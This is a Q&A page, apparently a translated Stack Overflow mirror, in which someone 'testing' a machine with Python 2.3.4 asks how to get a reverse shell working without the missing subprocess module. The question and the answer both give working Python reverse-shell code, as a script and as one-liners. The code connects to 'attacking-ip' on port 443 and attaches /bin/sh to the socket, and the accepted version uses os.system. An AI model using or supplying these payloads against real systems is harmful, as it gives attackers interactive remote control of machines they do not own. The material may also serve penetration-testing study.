【问题标题】:Python Reverse shell without subprocess没有子进程的Python反向shell
【发布时间】:2017-02-26 13:20:07
【问题描述】:

我正在测试一台安装了 Python 2.3.4 的机器。

使用这一个班轮:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这是:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacking-ip",443));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

我收到此错误:

Traceback(最近一次调用最后一次):文件“”,第 1 行,在 ? ImportError: 没有名为子进程的模块

我现在正在寻找创建一个脚本来提供反向连接。我的问题/问题是是否可以通过导入子流程来做到这一点?

到目前为止我有这个

#!/usr/bin/python

import socket
import os

HOST = ''
PORT = ''

conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #CREATES TCP SOCKET

conn.connect((HOST, PORT)) #CONNECT

while 1: #LOOP
    ls = os.system('ls') # test with ls
#^ Need to add the ability to use any system command
command_send = conn.send(ls) #RECEIVE COMMAND
     #EXECUTE COMMAND

这个循环永远都没有弄清楚如何在接收到数据的情况下停止循环并使脚本保持活动状态。

【问题讨论】:

    标签: python subprocess


    【解决方案1】:

    subprocess 模块是在 Python 2.4 中引入的。


    You can use os.system instead of subprocess.call:

    import socket, os
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("attacking-ip", 443))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.system("/bin/sh -i")
    

    python -c 'import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system("/bin/sh -i")'
    

    【讨论】:

    • 谢谢!我会试试这个。即使这不起作用,这也回答了我的问题。
    猜你喜欢
    • 2011-11-16
    • 2018-06-09
    • 2023-03-06
    • 2012-01-10
    • 2012-05-22
    • 1970-01-01
    • 2012-03-21
    • 1970-01-01
    • 2018-01-15
    相关资源
    最近更新 更多